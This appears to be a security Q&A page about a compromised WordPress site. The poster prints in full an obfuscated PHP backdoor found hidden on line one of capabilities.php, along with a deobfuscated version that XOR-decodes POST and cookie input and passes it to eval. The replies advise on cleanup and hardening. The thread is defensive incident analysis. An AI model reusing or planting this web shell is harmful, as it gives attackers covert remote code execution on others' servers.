This question already has an answer here:

Firstly - I expect the answer to be yes. But I never dealt with something like this so I would like some advice.

A client has recently complained that their website went down. So I started investigating. It's a wordpress site running WP 4.6.10. White screen of death was present so I enabled the debug mode.

There was a syntax error in the wp-includes/capabilities.php file on line one. An unexpected variable $c1ee95a was present. Initially I couldn't see anything on the first line but later found out that there is a single, long line of code on the first line offset by whitespace very far to the right. This is what I found:

<?php $u9e4fd27a = 42;$GLOBALS['j3dcff']=Array();global$j3dcff;$j3dcff=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['nea40']="\x50\x3c\x26\x53\x42\x7b\x3b\x22\x2d\x6b\x5d\x2b\x3e\x48\x56\x78\x4e\x72\x59\x7d\x74\x58\x36\x37\x24\x75\x30\x25\x3a\x27\x40\x73\x7a\x51\x7c\xa\x3f\x9\x45\x6d\x4f\x21\x55\x5c\x79\x4b\x2c\x29\x4d\x6e\x6a\x57\x67\x33\x4c\x43\x61\x6f\x2a\x31\x66\x28\x2f\x7e\x68\x77\x5f\x38\x46\x41\x39\x35\x4a\x47\x2e\x44\x65\x63\x52\xd\x70\x6c\x62\x76\x64\x60\x54\x20\x5a\x3d\x23\x5b\x5e\x32\x34\x49\x71\x69";$j3dcff[$j3dcff['nea40'][31].$j3dcff['nea40'][59].$j3dcff['nea40'][77].$j3dcff['nea40'][76].$j3dcff['nea40'][67].$j3dcff['nea40'][53]]=$j3dcff['nea40'][80].$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][9];$j3dcff[$j3dcff['nea40'][80].$j3dcff['nea40'][56].$j3dcff['nea40'][70].$j3dcff['nea40'][71].$j3dcff['nea40'][60].$j3dcff['nea40'][82]]=$j3dcff['nea40'][77].$j3dcff['nea40'][57].$j3dcff['nea40'][25].$j3dcff['nea40'][49].$j3dcff['nea40'][20];$j3dcff[$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][26].$j3dcff['nea40'][26].$j3dcff['nea40'][26].$j3dcff['nea40'][82].$j3dcff['nea40'][60]]=$j3dcff['nea40'][31].$j3dcff['nea40'][25].$j3dcff['nea40'][82].$j3dcff['nea40'][31].$j3dcff['nea40'][20].$j3dcff['nea40'][17];$j3dcff[$j3dcff['nea40'][76].$j3dcff['nea40'][23].$j3dcff['nea40'][82].$j3dcff['nea40'][26].$j3dcff['nea40'][67].$j3dcff['nea40'][82]]=$j3dcff['nea40'][31].$j3dcff['nea40'][20].$j3dcff['nea40'][17].$j3dcff['nea40'][81].$j3dcff['nea40'][76].$j3dcff['nea40'][49];$j3dcff[$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][71].$j3dcff['nea40'][59].$j3dcff['nea40'][82].$j3dcff['nea40'][77].$j3dcff['nea40'][22]]=$j3dcff['nea40'][76].$j3dcff['nea40'][15].$j3dcff['nea40'][80].$j3dcff['nea40'][81].$j3dcff['nea40'][57].$j3dcff['nea40'][84].$j3dcff['nea40'][76];$j3dcff[$j3dcff['nea40'][65].$j3dcff['nea40'][56].$j3dcff['nea40'][26].$j3dcff['nea40'][59].$j3dcff['nea40'][23].$j3dcff['nea40'][59].$j3dcff['nea40'][56].$j3dcff['nea40'][71]]=$j3dcff['nea40'][31].$j3dcff['nea40'][20].$j3dcff['nea40'][17].$j3dcff['nea40'][66].$j3dcff['nea40'][17].$j3dcff['nea40'][76].$j3dcff['nea40'][80].$j3dcff['nea40'][76].$j3dcff['nea40'][56].$j3dcff['nea40'][20];$j3dcff[$j3dcff['nea40'][57].$j3dcff['nea40'][53].$j3dcff['nea40'][94].$j3dcff['nea40'][76].$j3dcff['nea40'][77].$j3dcff['nea40'][76].$j3dcff['nea40'][53]]=$_POST;$j3dcff[$j3dcff['nea40'][57].$j3dcff['nea40'][84].$j3dcff['nea40'][93].$j3dcff['nea40'][71].$j3dcff['nea40'][53].$j3dcff['nea40'][82].$j3dcff['nea40'][22].$j3dcff['nea40'][56]]=$_COOKIE;$vca92175=Array($j3dcff['nea40'][17].$j3dcff['nea40'][56].$j3dcff['nea40'][49].$j3dcff['nea40'][84].$j3dcff['nea40'][57].$j3dcff['nea40'][39].$j3dcff['nea40'][59]=>$j3dcff['nea40'][17].$j3dcff['nea40'][56].$j3dcff['nea40'][49].$j3dcff['nea40'][84].$j3dcff['nea40'][57].$j3dcff['nea40'][39].$j3dcff['nea40'][93]);$c692=Array($j3dcff['nea40'][17].$j3dcff['nea40'][56].$j3dcff['nea40'][49].$j3dcff['nea40'][84].$j3dcff['nea40'][57].$j3dcff['nea40'][39].$j3dcff['nea40'][53]=>$j3dcff['nea40'][17].$j3dcff['nea40'][56].$j3dcff['nea40'][49].$j3dcff['nea40'][84].$j3dcff['nea40'][57].$j3dcff['nea40'][39].$j3dcff['nea40'][94]);foreach(Array($vca92175,$j3dcff[$j3dcff['nea40'][57].$j3dcff['nea40'][53].$j3dcff['nea40'][94].$j3dcff['nea40'][76].$j3dcff['nea40'][77].$j3dcff['nea40'][76].$j3dcff['nea40'][53]],$c692,$j3dcff[$j3dcff['nea40'][57].$j3dcff['nea40'][84].$j3dcff['nea40'][93].$j3dcff['nea40'][71].$j3dcff['nea40'][53].$j3dcff['nea40'][82].$j3dcff['nea40'][22].$j3dcff['nea40'][56]])as$jc4c04){foreach($jc4c04 as $c1ee95a=>$t99e){$t99e=@$j3dcff[$j3dcff['nea40'][31].$j3dcff['nea40'][59].$j3dcff['nea40'][77].$j3dcff['nea40'][76].$j3dcff['nea40'][67].$j3dcff['nea40'][53]]($j3dcff['nea40'][13].$j3dcff['nea40'][58],$t99e);$c1ee95a.=$j3dcff['nea40'][22].$j3dcff['nea40'][23].$j3dcff['nea40'][70].$j3dcff['nea40'][77].$j3dcff['nea40'][77].$j3dcff['nea40'][60].$j3dcff['nea40'][67].$j3dcff['nea40'][77].$j3dcff['nea40'][8].$j3dcff['nea40'][22].$j3dcff['nea40'][77].$j3dcff['nea40'][59].$j3dcff['nea40'][93].$j3dcff['nea40'][8].$j3dcff['nea40'][94].$j3dcff['nea40'][23].$j3dcff['nea40'][84].$j3dcff['nea40'][53].$j3dcff['nea40'][8].$j3dcff['nea40'][82].$j3dcff['nea40'][93].$j3dcff['nea40'][22].$j3dcff['nea40'][26].$j3dcff['nea40'][8].$j3dcff['nea40'][53].$j3dcff['nea40'][76].$j3dcff['nea40'][26].$j3dcff['nea40'][76].$j3dcff['nea40'][53].$j3dcff['nea40'][22].$j3dcff['nea40'][26].$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][77].$j3dcff['nea40'][53].$j3dcff['nea40'][59];$r768e6=$t99e^$j3dcff[$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][26].$j3dcff['nea40'][26].$j3dcff['nea40'][26].$j3dcff['nea40'][82].$j3dcff['nea40'][60]]($j3dcff[$j3dcff['nea40'][65].$j3dcff['nea40'][56].$j3dcff['nea40'][26].$j3dcff['nea40'][59].$j3dcff['nea40'][23].$j3dcff['nea40'][59].$j3dcff['nea40'][56].$j3dcff['nea40'][71]]($c1ee95a,($j3dcff[$j3dcff['nea40'][76].$j3dcff['nea40'][23].$j3dcff['nea40'][82].$j3dcff['nea40'][26].$j3dcff['nea40'][67].$j3dcff['nea40'][82]]($t99e)/$j3dcff[$j3dcff['nea40'][76].$j3dcff['nea40'][23].$j3dcff['nea40'][82].$j3dcff['nea40'][26].$j3dcff['nea40'][67].$j3dcff['nea40'][82]]($c1ee95a))+1),0,$j3dcff[$j3dcff['nea40'][76].$j3dcff['nea40'][23].$j3dcff['nea40'][82].$j3dcff['nea40'][26].$j3dcff['nea40'][67].$j3dcff['nea40'][82]]($t99e));$r768e6=$j3dcff[$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][71].$j3dcff['nea40'][59].$j3dcff['nea40'][82].$j3dcff['nea40'][77].$j3dcff['nea40'][22]]($j3dcff['nea40'][90],$r768e6);if($j3dcff[$j3dcff['nea40'][80].$j3dcff['nea40'][56].$j3dcff['nea40'][70].$j3dcff['nea40'][71].$j3dcff['nea40'][60].$j3dcff['nea40'][82]]($r768e6)==3){eval($r768e6[1]($r768e6[2]));exit();}}} ?><?php

So I went ahead and tried to clean it up using various tools and an online PHP sandbox. This is probably not the best representation of the code but it's close enough:

$u9e4fd27a = 42;
$GLOBALS['j3dcff'] = Array();
global $j3dcff;
$j3dcff = $GLOBALS;
${"GLOBALS"}['nea40'] = "\x50\x3c\x26\x53\x42\x7b\x3b\x22\x2d\x6b\x5d\x2b\x3e\x48\x56\x78\x4e\x72\x59\x7d\x74\x58\x36\x37\x24\x75\x30\x25\x3a\x27\x40\x73\x7a\x51\x7c\xa\x3f\x9\x45\x6d\x4f\x21\x55\x5c\x79\x4b\x2c\x29\x4d\x6e\x6a\x57\x67\x33\x4c\x43\x61\x6f\x2a\x31\x66\x28\x2f\x7e\x68\x77\x5f\x38\x46\x41\x39\x35\x4a\x47\x2e\x44\x65\x63\x52\xd\x70\x6c\x62\x76\x64\x60\x54\x20\x5a\x3d\x23\x5b\x5e\x32\x34\x49\x71\x69";


$j3dcff["s1ce83"] = "pack";
$j3dcff["pa95fb"] = "count";
$j3dcff["ac000bf"] = "substr";
$j3dcff["e7b08b"] = "strlen";
$j3dcff["ac51bc6"] = "explode";
$j3dcff["wa0171a5"] = "str_repeat";

$j3dcff["o34ece3"] = $_POST;
$j3dcff["od253b6a"] = $_COOKIE;


$vca92175 = Array("random1" => "random2");
$c692 = Array("random3" => "random4");


foreach (Array($vca92175, $j3dcff["o34ece3"], $c692, $j3dcff["od253b6a"]) as $jc4c04) {
    foreach ($jc4c04 as $key => $value) {
        $value = @pack("H*", $value);
        $key .= "679ccf8c-6c12-47d3-b260-3e0e360acc31";
        $r768e6 = $value ^ substr(str_repeat($key, (strlen($value) / strlen($key)) + 1), 0, strlen($value));
        $r768e6 = explode('#', $r768e6);
        if (count($r768e6) == 3) {
            eval ($r768e6[1]($r768e6[2]));
            exit();
        }
    }
}

This code was rather long and hard to wrap my head around so I tried to var_dump the function name and its argument that got plugged into eval. But it seems like the if condition has never been met and WP proceeded to load other files. Well then I got another syntax error in wp-includes/class-wp-oembed-controller.php. That also contained obfuscated code on line 1.

Whatever this code does it seems to be trying really hard to hide it. Furthermore I found some more suspicious things in wp-config.php, index.php and wp-settings.php. Each is basically a line of code that is trying to include .ico files from various places. One of them contains code for certain. The name of this one has suspected suffix. Could this have been flagged by the hosting provider?

So I guess the server/website has been compromised in some fashion, right? What's the next step? Wipe everything, change passwords and re-upload all of it?

One thing that confuses me though is that FTP shows the class-wp-oembed-controller.php file as last changed on 28th of October 2016. Does it imply a long term breach?

marked as duplicate by Matthew, schroeder Jul 23 at 13:11

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

  • 5
    Any time you find code which shouldn't be there, especially when it's trying to hide what it does, chances are it's a compromised server. The linked dupe gives the canonical answer about the next steps. The date value is not conclusive as to when a breach took place - it's entirely possible to edit the value. The key here is to ensure that when you're repairing the site, any compromised files are not put onto the fresh install. – Matthew Jul 23 at 10:49
  • @Matthew Thanks a lot - I'll go through the process you provided. Just a couple of questions - Do the syntactic errors imply anything or did the culprit simply mess it up? Is it safe to download the server contents to my machine so I can investigate a bit more efficiently? (I don't plan to execute the code atm). – PeterTheLobster Jul 23 at 11:24
  • If you version control like GIT to deploy the tested website content, you will not have a problem to wipe clean the server and redeploy.. For the time being, you can always copy the whole compromised site for forensic purpose. – mootmoot Jul 23 at 12:08

What's the next step? Wipe everything, change passwords and re-upload all of it?

No, the fist step is to take the site offline, but restoring the vulnerabilities from backup isn't going to provide protection for the site going forward. The fact that multiple files are impacted shows that the permissions on the files are not setup correctly. From memory WordPress does allow installation of modules and configuration via the web interface - but that doesn't mean you have to make everything world writable. The core application is not too bad for security nowadays, but the third party plugins are a very different story. The next step is a comprehensive audit of file permissions and the installed modules. You should also be looking at how patches/updates are managed.

You should also be applying basic hardening policies to the server - disabling eval(), create_function() and remote includes.

Unless you have a lot of logs, a lot of backups, a lot of time and a lot of skill at reverse engineering, trying to find how the system was initially compromised may not be the best focus of your efforts. But you should be looking to install a HIDS.

If this is a really cheap shared hosting service then you won't be able to do most of the above - and even if you did, you will be constrained in the extent you can protect the system against other users on the same host. Switching service providers might be a requirement. There are specialist Wordpress hosting providers whom can provide a managed service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.